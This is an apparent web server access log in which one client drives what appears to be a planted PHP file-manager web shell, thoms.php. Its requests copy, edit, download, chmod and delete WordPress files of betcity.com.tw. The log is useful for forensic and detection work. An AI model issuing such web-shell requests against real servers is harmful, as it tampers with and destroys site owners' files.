45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19484 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12380 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19483 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?edit=locoy.php&p=betcity.com.tw HTTP/1.1" 200 12720 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 16324 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19485 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12381 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19616 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19768 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 16701 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19767 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?edit=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 13120 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&settings=1 HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?dl=admin.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13418 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?chmod=profile.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&view=cjfuns.php HTTP/1.1" 200 16592 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /thoms.php?chmod=cjfuns.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:32 -0400] "GET /betcity.com.tw/schema-shared/index.php HTTP/1.1" 200 6420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&view=index.php HTTP/1.1" 200 11847 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&upload= HTTP/1.1" 200 12181 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?del=admin.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13416 "http://163.245.207.76:443/thoms.php?del=admin.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13433 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&view=license.txt HTTP/1.1" 200 11921 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /betcity.com.tw/schema-shared/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?chmod=license.txt&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?del=profile.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13752 "http://163.245.207.76:443/thoms.php?del=profile.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fprofile.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fprofile.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /betcity.com.tw/schema-shared/cjfuns.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared&view=admin.php HTTP/1.1" 200 16586 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?dl=license.txt&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13601 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?dl=profile.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13600 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?dl=cjfuns.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13616 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13601 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:33 -0400] "GET /thoms.php?chmod=admin.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /betcity.com.tw/schema-shared HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/schema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fadmin.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11332 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared%2Fadmin.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
